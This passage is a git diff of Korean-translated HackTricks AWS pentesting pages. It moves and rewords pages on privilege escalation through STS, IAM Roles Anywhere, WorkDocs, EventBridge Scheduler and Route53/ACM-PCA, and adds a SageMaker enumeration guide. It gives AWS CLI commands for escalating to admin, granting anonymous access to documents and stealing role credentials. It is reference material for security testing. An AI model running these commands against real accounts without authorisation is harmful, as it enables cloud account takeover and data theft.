방법을 사용할 수 있습니다: +```bash +aws sts assume-role-with-saml --role-arn --principal-arn +``` +하지만 **프로바이더**는 이를 더 쉽게 해주는 **자체 도구**를 제공할 수 있습니다. 예: [onelogin-aws-assume-role](https://github.com/onelogin/onelogin-python-aws-assume-role): +```bash +onelogin-aws-assume-role --onelogin-subdomain mettle --onelogin-app-id 283740 --aws-region eu-west-1 -z 3600 +``` +**Potential Impact:** 역할에 대한 Privesc. + +### `sts:AssumeRoleWithWebIdentity` + +이 권한은 웹 아이덴티티 공급자를 통해 **모바일, 웹 애플리케이션, EKS 등에서 인증된 사용자**가 임시 보안 자격 증명 세트를 얻을 수 있도록 허용합니다. [Learn more here.](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithWebIdentity.html) + +For example, if an **EKS service account** should be able to **impersonate an IAM role**, it will have a token in **`/var/run/secrets/eks.amazonaws.com/serviceaccount/token`** and can **assume the role and get credentials** doing something like: +```bash +aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/ --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token +# The role name can be found in the metadata of the configuration of the pod +``` +### Federation Abuse + +{{#ref}} +../../aws-basic-information/aws-federation-abuse.md +{{#endref}} + +### IAM Roles Anywhere Privesc + +이 공격을 이해하려면 trust anchor가 무엇인지 설명할 필요가 있다. AWS IAM Roles Anywhere에서 trust anchor는 신뢰의 루트 엔티티로, 계정에 등록된 Certificate Authority (CA)의 공개 인증서를 포함하여 AWS가 제시된 X.509 인증서를 검증할 수 있게 한다. 따라서 클라이언트 인증서가 해당 CA에서 발급되었고 trust anchor가 활성화되어 있으면 AWS는 이를 유효한 인증서로 인식한다. + +또한 profile은 X.509 인증서의 어떤 속성(CN, OU, 또는 SAN 등)이 session tags로 변환될지를 정의하는 구성이며, 이 태그들은 이후 trust policy의 조건과 비교된다. + +이 정책에는 어떤 trust anchor나 인증서 속성이 허용되는지에 대한 제한이 없다. 결과적으로 계정 내 어떤 trust anchor에 연결된 어떤 인증서든 이 역할을 assume하는 데 사용할 수 있다. +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"Service": "rolesanywhere.amazonaws.com" +}, +"Action": [ +"sts:AssumeRole", +"sts:SetSourceIdentity", +"sts:TagSession" +] +} +] +} + +``` +privesc를 위해 `aws_signing_helper`가 https://docs.aws.amazon.com/rolesanywhere/latest/userguide/credential-helper.html에서 필요합니다 + +그런 다음 유효한 인증서를 사용하면 공격자는 더 높은 권한의 role로 pivot할 수 있습니다 +```bash +aws_signing_helper credential-process \ +--certificate readonly.pem \ +--private-key readonly.key \ +--trust-anchor-arn arn:aws:rolesanywhere:us-east-1:123456789012:trust-anchor/ta-id \ +--profile-arn arn:aws:rolesanywhere:us-east-1:123456789012:profile/default \ +--role-arn arn:aws:iam::123456789012:role/Admin +``` +신뢰 앵커는 클라이언트의 `readonly.pem` 인증서가 권한 있는 CA에서 발급된 것인지를 검증하며, 해당 `readonly.pem` 인증서에는 AWS가 서명이 대응하는 개인 키 `readonly.key`로 이루어졌는지를 확인할 때 사용하는 공개 키가 포함되어 있다. + +인증서는 또한 CN 또는 OU와 같은 속성들을 제공하고, `default` 프로필은 이를 태그로 변환한다. 역할의 신뢰 정책은 이 태그들을 사용해 액세스 허가 여부를 결정할 수 있다. 신뢰 정책에 조건이 없으면 이러한 태그는 아무런 의미가 없으며, 유효한 인증서를 가진 누구에게나 액세스가 허용된다. + +이 공격이 가능하려면 신뢰 앵커와 `default` 프로필이 모두 활성화되어 있어야 한다. + +### 참고 자료 + +- [https://www.ruse.tech/blogs/aws-roles-anywhere-privilege-escalation](https://www.ruse.tech/blogs/aws-roles-anywhere-privilege-escalation) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc/README.md similarity index 58% rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc/README.md index 3ad0ef3ae..0f11d42ac 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc/README.md @@ -1,25 +1,25 @@ # AWS - WorkDocs Privesc -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## WorkDocs WorkDocs에 대한 자세한 정보는 다음을 확인하세요: {{#ref}} -../aws-services/aws-directory-services-workdocs-enum.md +../../aws-services/aws-directory-services-workdocs-enum.md {{#endref}} ### `workdocs:CreateUser` -지정된 디렉토리 내에 사용자를 생성하면 WorkDocs와 AD 모두에 접근할 수 있습니다: +지정된 Directory 안에 사용자를 생성하면, WorkDocs와 AD 둘 다에 접근할 수 있습니다: ```bash # Create user (created inside the AD) aws workdocs create-user --username testingasd --given-name testingasd --surname testingasd --password --email-address name@directory.domain --organization-id ``` -### `workdocs:GetDocument`, `(workdocs:DescribeActivities`)` +### `workdocs:GetDocument`, `(workdocs:`DescribeActivities`)` -파일에는 민감한 정보가 포함될 수 있으므로 읽어보세요: +파일에는 민감한 정보가 포함되어 있을 수 있으니 읽어보세요: ```bash # Get what was created in the directory aws workdocs describe-activities --organization-id @@ -32,7 +32,7 @@ aws workdocs get-document --document-id ``` ### `workdocs:AddResourcePermissions` -읽을 수 있는 권한이 없으면, 그냥 권한을 부여할 수 있습니다. +무언가를 읽을 수 있는 권한이 없다면, 단순히 권한을 부여하면 된다 ```bash # Add permission so anyway can see the file aws workdocs add-resource-permissions --resource-id --principals Id=anonymous,Type=ANONYMOUS,Role=VIEWER @@ -40,14 +40,14 @@ aws workdocs add-resource-permissions --resource-id --principals Id=anonymo ``` ### `workdocs:AddUserToGroup` -사용자를 ZOCALO_ADMIN 그룹에 설정하여 관리자로 만들 수 있습니다.\ -이를 위해 [https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html](https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html)에서 지침을 따르십시오. +사용자를 ZOCALO_ADMIN 그룹에 설정하면 관리자 권한으로 만들 수 있습니다.\ +이를 위해 [https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html](https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html)의 지침을 따르세요. -해당 사용자로 workdoc에 로그인하고 `/workdocs/index.html#/admin`에서 관리 패널에 접근합니다. +해당 사용자로 workdoc에 로그인한 후 `/workdocs/index.html#/admin`에서 관리자 패널에 접근하세요. -cli를 통해 이를 수행할 방법을 찾지 못했습니다. +CLI에서 이 작업을 수행할 방법은 찾지 못했습니다. -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc/README.md similarity index 58% rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc/README.md index 067651e7d..5f8f134b7 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc/README.md @@ -1,20 +1,20 @@ # AWS - EventBridge Scheduler Privesc -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## EventBridge Scheduler -EventBridge Scheduler에 대한 자세한 정보는: +EventBridge Scheduler에 대한 자세한 정보: {{#ref}} -../aws-services/eventbridgescheduler-enum.md +../../aws-services/eventbridgescheduler-enum.md {{#endref}} ### `iam:PassRole`, (`scheduler:CreateSchedule` | `scheduler:UpdateSchedule`) -이 권한을 가진 공격자는 **`create`|`update` 스케줄러를 생성하고 이를 연결된 스케줄러 역할의 권한을 악용하여 모든 작업을 수행할 수 있습니다.** +해당 권한을 가진 공격자는 **`create`|`update`로 scheduler를 생성·업데이트하고 그 scheduler에 연결된 role의 권한을 악용**하여 임의의 작업을 수행할 수 있습니다 -예를 들어, 그들은 스케줄을 구성하여 **Lambda 함수를 호출**하도록 할 수 있습니다. +예를 들어, 스케줄을 **invoke a Lambda function**하도록 구성할 수 있습니다. 이는 템플릿화된 action입니다: ```bash aws scheduler create-schedule \ --name MyLambdaSchedule \ @@ -25,7 +25,7 @@ aws scheduler create-schedule \ "RoleArn": "arn:aws:iam:::role/" }' ``` -템플릿 서비스 작업 외에도, EventBridge Scheduler에서 **universal targets**를 사용하여 많은 AWS 서비스에 대한 다양한 API 작업을 호출할 수 있습니다. Universal targets는 거의 모든 API를 호출할 수 있는 유연성을 제공합니다. 한 예로, "**putRolePolicy**" 정책이 있는 역할을 사용하여 "**AdminAccessPolicy**"를 추가하는 universal targets를 사용할 수 있습니다: +템플릿화된 서비스 액션에 더해, EventBridge Scheduler에서 **universal targets**를 사용하여 많은 AWS 서비스의 다양한 API 작업을 호출할 수 있습니다. Universal targets는 거의 모든 API를 호출할 수 있는 유연성을 제공합니다. 한 예로 **AdminAccessPolicy**를 추가하는 **universal targets**를 사용하여 **putRolePolicy** 정책을 가진 역할을 사용하는 경우: ```bash aws scheduler create-schedule \ --name GrantAdminToTargetRoleSchedule \ @@ -37,9 +37,9 @@ aws scheduler create-schedule \ "Input": "{\"RoleName\": \"TargetRole\", \"PolicyName\": \"AdminAccessPolicy\", \"PolicyDocument\": \"{\\\"Version\\\": \\\"2012-10-17\\\", \\\"Statement\\\": [{\\\"Effect\\\": \\\"Allow\\\", \\\"Action\\\": \\\"*\\\", \\\"Resource\\\": \\\"*\\\"}]}\"}" }' ``` -## 참고 문헌 +## 참조 - [https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html) - [https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html) -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md deleted file mode 100644 index 6a3b2c34a..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md +++ /dev/null @@ -1,32 +0,0 @@ -# AWS - Route53 Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -Route53에 대한 자세한 정보는 다음을 확인하세요: - -{{#ref}} -../aws-services/aws-route53-enum.md -{{#endref}} - -### `route53:CreateHostedZone`, `route53:ChangeResourceRecordSets`, `acm-pca:IssueCertificate`, `acm-pca:GetCertificate` - -> [!NOTE] -> 이 공격을 수행하려면 대상 계정에 이미 [**AWS Certificate Manager Private Certificate Authority**](https://aws.amazon.com/certificate-manager/private-certificate-authority/) **(AWS-PCA)**가 설정되어 있어야 하며, VPC의 EC2 인스턴스는 이미 신뢰할 수 있는 인증서를 가져와야 합니다. 이 인프라가 구축되면 AWS API 트래픽을 가로채기 위한 다음 공격을 수행할 수 있습니다. - -열거 부분에 대해 **권장되지만 필수는 아닌** 다른 권한: `route53:GetHostedZone`, `route53:ListHostedZones`, `acm-pca:ListCertificateAuthorities`, `ec2:DescribeVpcs` - -AWS VPC에 여러 클라우드 네이티브 애플리케이션이 서로 및 AWS API와 통신하고 있다고 가정합니다. 마이크로서비스 간의 통신은 종종 TLS로 암호화되므로 해당 서비스에 대한 유효한 인증서를 발급할 수 있는 개인 CA가 필요합니다. **ACM-PCA가 사용되는 경우** 적대자가 위에 설명된 최소 권한 세트를 사용하여 **route53과 acm-pca 개인 CA를 모두 제어할 수 있는 접근 권한을 얻으면**, **AWS API에 대한 애플리케이션 호출을 가로챌 수 있습니다** 그들의 IAM 권한을 장악하게 됩니다. - -이는 다음과 같은 이유로 가능합니다: - -- AWS SDK는 [Certificate Pinning](https://www.digicert.com/blog/certificate-pinning-what-is-certificate-pinning)을 지원하지 않습니다. -- Route53은 AWS API 도메인 이름에 대한 개인 호스팅 영역 및 DNS 레코드를 생성할 수 있습니다. -- ACM-PCA의 개인 CA는 특정 공통 이름에 대해서만 인증서를 서명하도록 제한할 수 없습니다. - -**잠재적 영향:** 트래픽에서 민감한 정보를 가로채어 간접적인 권한 상승이 발생할 수 있습니다. - -#### Exploitation - -원본 연구에서 취약점 이용 단계를 찾으세요: [**https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/**](https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer/README.md new file mode 100644 index 000000000..d31650c46 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer/README.md @@ -0,0 +1,32 @@ +# AWS - Route53 Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +Route53에 대한 자세한 정보는 다음을 확인하세요: + +{{#ref}} +../../aws-services/aws-route53-enum.md +{{#endref}} + +### `route53:CreateHostedZone`, `route53:ChangeResourceRecordSets`, `acm-pca:IssueCertificate`, `acm-pca:GetCertificate` + +> [!NOTE] +> 이 공격을 수행하려면 대상 계정에 이미 [**AWS Certificate Manager Private Certificate Authority**](https://aws.amazon.com/certificate-manager/private-certificate-authority/) **(AWS-PCA)**가 설정되어 있어야 하며, VPC(s)의 EC2 인스턴스들은 해당 CA를 신뢰하도록 인증서를 미리 가져와야 합니다. 이러한 인프라가 구축되어 있으면 다음과 같은 공격을 통해 AWS API 트래픽을 가로챌 수 있습니다. + +다음 권한은 열거 단계에서 권장되지만 필수는 아님: `route53:GetHostedZone`, `route53:ListHostedZones`, `acm-pca:ListCertificateAuthorities`, `ec2:DescribeVpcs` + +여러 cloud-native 애플리케이션이 서로 및 AWS API와 통신하는 AWS VPC가 있다고 가정해보면, 마이크로서비스 간 통신은 대개 TLS로 암호화되므로 해당 서비스들에 대해 유효한 인증서를 발급할 private CA가 필요합니다. **If ACM-PCA is used** 이러한 경우 공격자가 위에 설명한 최소 권한 세트로 **route53과 acm-pca private CA 둘 다를 제어할 수 있는 접근을 확보하면**, 애플리케이션의 AWS API 호출을 가로채어 그들의 IAM 권한을 탈취할 수 있습니다. + +이것이 가능한 이유: + +- AWS SDKs에는 [Certificate Pinning](https://www.digicert.com/blog/certificate-pinning-what-is-certificate-pinning)이 적용되어 있지 않습니다 +- Route53는 AWS API 도메인 이름에 대해 Private Hosted Zone과 DNS 레코드를 생성할 수 있습니다 +- ACM-PCA의 Private CA는 특정 Common Names에 대해서만 인증서를 서명하도록 제한할 수 없습니다 + +**Potential Impact:** 트래픽에서 민감한 정보를 가로채어 간접적인 privesc를 유발할 수 있음. + +#### 악용 + +원본 리서치에서 악용 단계를 확인하세요: [**https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/**](https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md deleted file mode 100644 index df3bb9d5c..000000000 --- a/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md +++ /dev/null @@ -1,40 +0,0 @@ -# AWS - DocumentDB Enum - -{{#include ../../../banners/hacktricks-training.md}} - -## DocumentDB - -Amazon DocumentDB는 MongoDB와의 호환성을 제공하며, **빠르고 신뢰할 수 있으며 완전 관리형 데이터베이스 서비스**로 제공됩니다. 배포, 운영 및 확장성을 단순화하도록 설계되어, **클라우드에서 MongoDB 호환 데이터베이스의 원활한 마이그레이션 및 운영**을 가능하게 합니다. 사용자는 이 서비스를 활용하여 기존 애플리케이션 코드를 실행하고 친숙한 드라이버와 도구를 사용할 수 있어, MongoDB와 작업하는 것과 유사한 원활한 전환 및 운영을 보장합니다. - -### Enumeration -```bash -aws docdb describe-db-clusters # Get username from "MasterUsername", get also the endpoint from "Endpoint" -aws docdb describe-db-instances #Get hostnames from here - -# Parameter groups -aws docdb describe-db-cluster-parameter-groups -aws docdb describe-db-cluster-parameters --db-cluster-parameter-group-name - -# Snapshots -aws docdb describe-db-cluster-snapshots -aws --region us-east-1 --profile ad docdb describe-db-cluster-snapshot-attributes --db-cluster-snapshot-identifier -``` -### NoSQL Injection - -DocumentDB는 MongoDB 호환 데이터베이스이므로 일반적인 NoSQL 인젝션 공격에 취약하다고 상상할 수 있습니다: - -{{#ref}} -https://book.hacktricks.wiki/en/pentesting-web/nosql-injection.html -{{#endref}} - -### DocumentDB - -{{#ref}} -../aws-unauthenticated-enum-access/aws-documentdb-enum.md -{{#endref}} - -## References - -- [https://aws.amazon.com/blogs/database/analyze-amazon-documentdb-workloads-with-performance-insights/](https://aws.amazon.com/blogs/database/analyze-amazon-documentdb-workloads-with-performance-insights/) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum/README.md b/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum/README.md new file mode 100644 index 000000000..3b07ec1c4 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum/README.md @@ -0,0 +1,40 @@ +# AWS - DocumentDB 열거 + +{{#include ../../../../banners/hacktricks-training.md}} + +## DocumentDB + +Amazon DocumentDB는 MongoDB와의 호환성을 제공하는, **빠르고 안정적이며 완전관리형 데이터베이스 서비스**입니다. 배포, 운영 및 확장성이 간단하도록 설계되어 MongoDB 호환 데이터베이스를 클라우드에서 **문제없이 마이그레이션하고 운영**할 수 있게 해줍니다. 사용자는 기존 애플리케이션 코드를 그대로 실행하고 익숙한 드라이버와 도구를 활용하여 MongoDB 작업과 유사한 원활한 전환과 운영을 보장할 수 있습니다. + +### 열거 +```bash +aws docdb describe-db-clusters # Get username from "MasterUsername", get also the endpoint from "Endpoint" +aws docdb describe-db-instances #Get hostnames from here + +# Parameter groups +aws docdb describe-db-cluster-parameter-groups +aws docdb describe-db-cluster-parameters --db-cluster-parameter-group-name + +# Snapshots +aws docdb describe-db-cluster-snapshots +aws --region us-east-1 --profile ad docdb describe-db-cluster-snapshot-attributes --db-cluster-snapshot-identifier +``` +### NoSQL Injection + +DocumentDB가 MongoDB 호환 데이터베이스이기 때문에 일반적인 NoSQL injection 공격에도 취약할 수 있습니다: + +{{#ref}} +https://book.hacktricks.wiki/en/pentesting-web/nosql-injection.html +{{#endref}} + +### DocumentDB + +{{#ref}} +../../aws-unauthenticated-enum-access/aws-documentdb-enum/README.md +{{#endref}} + +## 참고 자료 + +- [https://aws.amazon.com/blogs/database/analyze-amazon-documentdb-workloads-with-performance-insights/](https://aws.amazon.com/blogs/database/analyze-amazon-documentdb-workloads-with-performance-insights/) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-sagemaker-enum/README.md b/src/pentesting-cloud/aws-security/aws-services/aws-sagemaker-enum/README.md new file mode 100644 index 000000000..95d983400 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-services/aws-sagemaker-enum/README.md @@ -0,0 +1,198 @@ +# AWS - SageMaker Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +## 서비스 개요 + +Amazon SageMaker는 노트북, training infrastructure, orchestration, registries, 및 managed endpoints를 통합하는 AWS의 관리형 머신러닝 플랫폼입니다. SageMaker 리소스가 침해되면 일반적으로 다음을 얻을 수 있습니다: + +- 광범위한 S3, ECR, Secrets Manager 또는 KMS 접근 권한을 가진 장기적인 IAM execution roles. +- S3, EFS 또는 feature stores에 저장된 민감한 데이터셋에 대한 접근. +- VPCs 내부의 네트워크 거점(Studio apps, training jobs, endpoints). +- 콘솔 인증을 우회하는 높은 권한의 presigned URLs. + +SageMaker가 어떻게 구성되는지 이해하는 것은 pivot, persist, exfiltrate하기 전에 매우 중요합니다. + +## 핵심 구성 요소 + +- **Studio Domains & Spaces**: Web IDE (JupyterLab, Code Editor, RStudio). 각 domain은 공유 EFS 파일 시스템과 기본 execution role을 가집니다. +- **Notebook Instances**: 독립형 노트북을 위한 관리형 EC2 인스턴스; 별도의 execution roles를 사용합니다. +- **Training / Processing / Transform Jobs**: ECR에서 코드를, S3에서 데이터를 가져오는 일시적인 컨테이너입니다. +- **Pipelines & Experiments**: 모든 단계, 입력 및 출력을 기술하는 오케스트레이션된 워크플로우입니다. +- **Models & Endpoints**: HTTPS endpoints를 통해 inference를 제공하기 위해 배포되는 패키지된 아티팩트입니다. +- **Feature Store & Data Wrangler**: 데이터 준비와 feature 관리를 위한 관리형 서비스입니다. +- **Autopilot & JumpStart**: 자동화된 ML과 선별된 모델 카탈로그입니다. +- **MLflow Tracking Servers**: presigned access tokens가 있는 관리형 MLflow UI/API입니다. + +모든 리소스는 execution role, S3 위치, container images, 및 선택적 VPC/KMS 구성에 대한 참조를 포함하므로 열거(enumeration) 시 모두 캡처해야 합니다. + +## 계정 및 전역 메타데이터 +```bash +REGION=us-east-1 +# Portfolio status, used when provisioning Studio resources +aws sagemaker get-sagemaker-servicecatalog-portfolio-status --region $REGION + +# List execution roles used by models (extend to other resources as needed) +aws sagemaker list-models --region $REGION --query 'Models[].ExecutionRoleArn' --output text | tr ' ' ' +' | sort -u + +# Generic tag sweep across any SageMaker ARN you know +aws sagemaker list-tags --resource-arn --region $REGION +``` +교차 계정 신뢰(실행 역할 또는 외부 프린시플이 있는 S3 버킷) 및 서비스 제어 정책(service control policies) 또는 SCPs와 같은 기본 제한 사항을 기록하세요. + +## Studio Domains, Apps & Shared Spaces +```bash +aws sagemaker list-domains --region $REGION +aws sagemaker describe-domain --domain-id --region $REGION +aws sagemaker list-user-profiles --domain-id-equals --region $REGION +aws sagemaker describe-user-profile --domain-id --user-profile-name --region $REGION + +# Enumerate apps (JupyterServer, KernelGateway, RStudioServerPro, CodeEditor, Canvas, etc.) +aws sagemaker list-apps --domain-id-equals --region $REGION +aws sagemaker describe-app --domain-id --user-profile-name --app-type JupyterServer --app-name default --region $REGION + +# Shared collaborative spaces +aws sagemaker list-spaces --domain-id-equals --region $REGION +aws sagemaker describe-space --domain-id --space-name --region $REGION + +# Studio lifecycle configurations (shell scripts at start/stop) +aws sagemaker list-studio-lifecycle-configs --region $REGION +aws sagemaker describe-studio-lifecycle-config --studio-lifecycle-config-name --region $REGION +``` +What to record: + +- `DomainArn`, `AppSecurityGroupIds`, `SubnetIds`, `DefaultUserSettings.ExecutionRole`. +- 마운트된 EFS (`HomeEfsFileSystemId`) 및 S3 홈 디렉터리. +- 라이프사이클 스크립트(종종 부트스트랩 자격 증명이나 추가 코드를 push/pull하는 내용 포함). + +> [!TIP] +> Presigned Studio URLs는 광범위하게 부여된 경우 인증을 우회할 수 있습니다. + +## 노트북 인스턴스 및 라이프사이클 구성 +```bash +aws sagemaker list-notebook-instances --region $REGION +aws sagemaker describe-notebook-instance --notebook-instance-name --region $REGION +aws sagemaker list-notebook-instance-lifecycle-configs --region $REGION +aws sagemaker describe-notebook-instance-lifecycle-config --notebook-instance-lifecycle-config-name --region $REGION +``` +Notebook 메타데이터에서 확인되는 내용: + +- 실행 역할 (`RoleArn`), 직접 인터넷 접근 vs. VPC-only 모드. +- S3 위치: `DefaultCodeRepository`, `DirectInternetAccess`, `RootAccess`. +- 자격 증명이나 영속성 훅을 위한 라이프사이클 스크립트. + +## 학습, 처리, 변환 및 배치 작업 +```bash +aws sagemaker list-training-jobs --region $REGION +aws sagemaker describe-training-job --training-job-name --region $REGION + +aws sagemaker list-processing-jobs --region $REGION +aws sagemaker describe-processing-job --processing-job-name --region $REGION + +aws sagemaker list-transform-jobs --region $REGION +aws sagemaker describe-transform-job --transform-job-name --region $REGION +``` +- `AlgorithmSpecification.TrainingImage` / `AppSpecification.ImageUri` – 어떤 ECR 이미지가 배포되어 있는지. +- `InputDataConfig` & `OutputDataConfig` – S3 버킷, 접두사 및 KMS 키. +- `ResourceConfig.VolumeKmsKeyId`, `VpcConfig`, `EnableNetworkIsolation` – 네트워크 또는 암호화 구성 상태를 판단. +- `HyperParameters`는 환경 비밀이나 연결 문자열을 leak할 수 있습니다. + +## 파이프라인, 실험 및 트라이얼 +```bash +aws sagemaker list-pipelines --region $REGION +aws sagemaker list-pipeline-executions --pipeline-name --region $REGION +aws sagemaker describe-pipeline --pipeline-name --region $REGION + +aws sagemaker list-experiments --region $REGION +aws sagemaker list-trials --experiment-name --region $REGION +aws sagemaker list-trial-components --trial-name --region $REGION +``` +파이프라인 정의는 각 단계, 연관된 역할, 컨테이너 이미지 및 환경 변수를 상세히 설명합니다. Trial 구성 요소에는 종종 학습 아티팩트 URIs, S3 로그 및 민감한 데이터 흐름을 암시하는 메트릭이 포함되어 있습니다. + +## 모델, 엔드포인트 구성 및 배포된 엔드포인트 +```bash +aws sagemaker list-models --region $REGION +aws sagemaker describe-model --model-name --region $REGION + +aws sagemaker list-endpoint-configs --region $REGION +aws sagemaker describe-endpoint-config --endpoint-config-name --region $REGION + +aws sagemaker list-endpoints --region $REGION +aws sagemaker describe-endpoint --endpoint-name --region $REGION +``` +- 모델 아티팩트 S3 URIs (`PrimaryContainer.ModelDataUrl`) 및 추론 컨테이너 이미지. +- 엔드포인트 데이터 캡처 구성 (S3 bucket, KMS) — 가능한 로그 유출 대비. +- S3DataSource 또는 `ModelPackage`를 사용하는 다중 모델 엔드포인트 (계정 간 패키징 확인). +- 엔드포인트에 연결된 네트워크 구성 및 보안 그룹. + +## Feature Store, Data Wrangler & Clarify +```bash +aws sagemaker list-feature-groups --region $REGION +aws sagemaker describe-feature-group --feature-group-name --region $REGION + +aws sagemaker list-data-wrangler-flows --region $REGION +aws sagemaker describe-data-wrangler-flow --flow-name --region $REGION + +aws sagemaker list-model-quality-job-definitions --region $REGION +aws sagemaker list-model-monitoring-schedule --region $REGION +``` +보안 시사점: + +- Online feature stores는 데이터를 Kinesis로 복제합니다; `OnlineStoreConfig.SecurityConfig.KmsKeyId`와 VPC를 확인하세요. +- Data Wrangler flows는 종종 JDBC/Redshift 자격 증명이나 프라이빗 엔드포인트를 포함합니다. +- Clarify/Model Monitor 작업은 데이터를 S3로 내보내며, 해당 데이터가 공개(모든 사용자에게 읽기 가능)되거나 계정 간 접근이 가능할 수 있습니다. + +## MLflow Tracking Servers, Autopilot & JumpStart +```bash +aws sagemaker list-mlflow-tracking-servers --region $REGION +aws sagemaker describe-mlflow-tracking-server --tracking-server-name --region $REGION + +aws sagemaker list-auto-ml-jobs --region $REGION +aws sagemaker describe-auto-ml-job --auto-ml-job-name --region $REGION + +aws sagemaker list-jumpstart-models --region $REGION +aws sagemaker list-jumpstart-script-resources --region $REGION +``` +- MLflow tracking servers는 실험과 아티팩트(artefacts)를 저장합니다; presigned URLs는 모든 것을 노출시킬 수 있습니다. +- Autopilot jobs는 여러 training jobs를 실행합니다—숨겨진 데이터를 찾기 위해 outputs를 열거하세요. +- JumpStart reference architectures는 계정에 privileged roles를 배포할 수 있습니다. + +## IAM & Networking 고려사항 + +- 모든 execution roles(Studio, notebooks, training jobs, pipelines, endpoints)에 연결된 IAM policies를 열거하세요. +- 네트워크 컨텍스트를 확인하세요: subnets, security groups, VPC endpoints. 많은 조직이 training jobs를 격리하지만 outbound traffic 제한을 잊습니다. +- 외부 접근을 위해 `ModelDataUrl`, `DataCaptureConfig`, `InputDataConfig`에서 참조되는 S3 버킷 정책을 검토하세요. + +## Privilege Escalation + +{{#ref}} +../../aws-privilege-escalation/aws-sagemaker-privesc/README.md +{{#endref}} + +## Persistence + +{{#ref}} +../../aws-persistence/aws-sagemaker-persistence/README.md +{{#endref}} + +## Post-Exploitation + +{{#ref}} +../../aws-post-exploitation/aws-sagemaker-post-exploitation/README.md +{{#endref}} + +## Unauthorized Access + +{{#ref}} +../aws-sagemaker-unauthorized-access/README.md +{{#endref}} + +## 참고 자료 + +- [AWS SageMaker Documentation](https://docs.aws.amazon.com/sagemaker/latest/dg/whatis.html) +- [AWS CLI SageMaker Reference](https://docs.aws.amazon.com/cli/latest/reference/sagemaker/index.html) +- [SageMaker Studio Architecture](https://docs.aws.amazon.com/sagemaker/latest/dg/gs-studio.html) +- [SageMaker Security Best Practices](https://docs.aws.amazon.com/sagemaker/latest/dg/security.html) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md deleted file mode 100644 index 372794f8d..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md +++ /dev/null @@ -1,43 +0,0 @@ -# AWS - Accounts Unauthenticated Enum - -{{#include ../../../banners/hacktricks-training.md}} - -## 